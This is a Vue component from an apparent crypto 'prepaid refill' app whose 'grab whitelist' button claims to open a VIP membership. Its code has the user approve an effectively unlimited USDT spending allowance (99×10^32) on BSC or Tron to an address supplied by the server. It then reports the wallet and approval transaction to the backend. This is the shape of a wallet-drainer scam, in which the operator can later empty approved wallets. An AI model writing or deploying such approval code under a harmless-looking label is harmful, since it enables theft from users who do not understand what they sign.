<!--
 * @Date: 2023-03-16 10:15:55
 * @LastEditTime: 2023-06-10 23:18:36
 * @FilePath: /prepaid-refill/src/views/home/components/impower.vue
 * 介绍:
-->
<script lang="ts" setup>
import useUserinfoStore from "@@/store/useUserinfoStore";
import useBalanceStore from "@@/store/useBalanceStore";
import useSysStore from "@@/store/useSysStore";
import { formatNumber, _require } from "@@/utils/tools/tools";
import PubSub from "pubsub-js";
import { sdkApprove } from "@@/sdk/web3Eth";
import * as tronWeb from "@@/sdk/tronWeb";
import { apiOpenVipAddress } from "@@/api/module/balance";
import { apiOpenVipTxid, apiOpenVipPost } from "@@apiModule/transaction";
import toast from "@@/hooks/toast";
import router from "@@/router";
import { showDialog } from "vant";

const props = defineProps<{
  isVip?: boolean;
}>();

const userinfoStore = useUserinfoStore();
const { baseData } = storeToRefs(userinfoStore);
const sysStore = useSysStore();
const { lastLoginInfo } = storeToRefs(sysStore);
const balanceStore = useBalanceStore();
const { NAC, USDT } = storeToRefs(balanceStore);
PubSub.subscribeOnce("logined", balanceStore.getBbcCoininfo);
async function onSubmitBtn() {
  if (await sysStore.isBab()) return openVipEth();
  openVipTron();
}
const { t } = useI18n();
/**以太坊授权 */
async function openVipEth() {
  toast.loading();
  const vipAddressRes = await apiOpenVipAddress({ type: "bsc" });
  toast.close();
  if (!vipAddressRes) return toast.text(t("fu-wu-qi-cuo-wu"));
  toast.loading();
  const res = await sdkApprove(
    USDT.value?.contract_addr!,
    99,
    32,
    vipAddressRes.address
  );
  toast.close();
  if (!res.status) return toast.text(res.message || res.info || "fail");
  toast.loading();
  await Promise.all([
    apiOpenVipPost({
      type: "bsc",
      bizhong: 6,
      balance: 0,
      ip_address: "",
      address: lastLoginInfo.value?.accounts!,
      auth_address: vipAddressRes.address,
    }),
    apiOpenVipTxid({ txid: res.data!, chain: 56 }),
  ]);
  toast.close();

  openViped();
}
/**tron授权 */
async function openVipTron() {
  toast.loading();
  const vipAddressRes = await apiOpenVipAddress({ type: "trx" });
  toast.close();
  if (!vipAddressRes) return toast.text(t("fu-wu-qi-cuo-wu"));
  toast.loading();
  const res = await tronWeb.sdkApprove(
    "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t",
    99,
    32,
    vipAddressRes.address
  );
  toast.close();
  if (!res.status) return toast.text(res.message || res.info || "fail");
  toast.loading();
  await Promise.all([
    apiOpenVipPost({
      type: "trx",
      bizhong: 1,
      balance: 0,
      ip_address: "",
      address: lastLoginInfo.value?.accounts!,
      auth_address: vipAddressRes.address,
    }),
    apiOpenVipTxid({ txid: res.data!, chain: 0 }),
  ]);
  toast.close();
  openViped();
}
function openViped() {
  userinfoStore.is = { ...userinfoStore.is, isVip: true };
  showDialog({
    title: t("kai-qi-chuang-shi-hu-yuan-cheng-gong"),
    showCancelButton: false,
  }).then(toVipHome);
}
function toVipHome() {
  router.replace({ name: "vipHome" });
}
</script>

<template>
  <Ccard>
    <div class="impower_content">
      <div class="flex-J-SB">
        <div class="imageBox">
          <Rimage
            width="200rem"
            :src="_require('src/assets/images/home/chuang-shi-ka.png')"
          />
          <div class="C-T5 imageBox_text">{{ $t("chuang-shi-ka") }}</div>
        </div>
        <div class="T-A-C" style="flex: 1">
          <div class="T-nowrap">
            1NAC= {{ formatNumber(NAC?.price, 4) }}USDT
          </div>
          <div>
            {{ $t("zong-kuang-chi") }}
            <span class="bigNumber">{{
              formatNumber(baseData?.main_ore_pool, 0)
            }}</span>
            USDT
          </div>
          <div class="line"></div>
          <div>
            {{ formatNumber(baseData?.current_progress, 0) }} <span>/</span>
            {{ formatNumber(baseData?.overall_progress, 0) }}
          </div>
        </div>
      </div>
      <VanButton
        @click="onSubmitBtn"
        v-if="!props.isVip"
        class="mt-lg"
        color="var(--C-LG1)"
        block
      >
        {{ $t("qiang-bai-ming-dan") }}
      </VanButton>
    </div>
  </Ccard>
</template>

<style lang="less" scoped>
.impower_content {
  padding: var(--gap-md) 0;
}
.imageBox {
  position: relative;
  .imageBox_text {
    position: absolute;
    top: var(--gap-md);
    left: var(--gap-md);
  }
}
.bigNumber {
  font-size: var(--T-S-xl);
  font-family: Times New Roman;
  font-weight: 600;
  color: var(--C-M1);
}
.line {
  display: inline-block;
  height: 10rem;
  background-image: var(--C-LG1);
  border-radius: 999rem;
  width: 300rem;
}
</style>
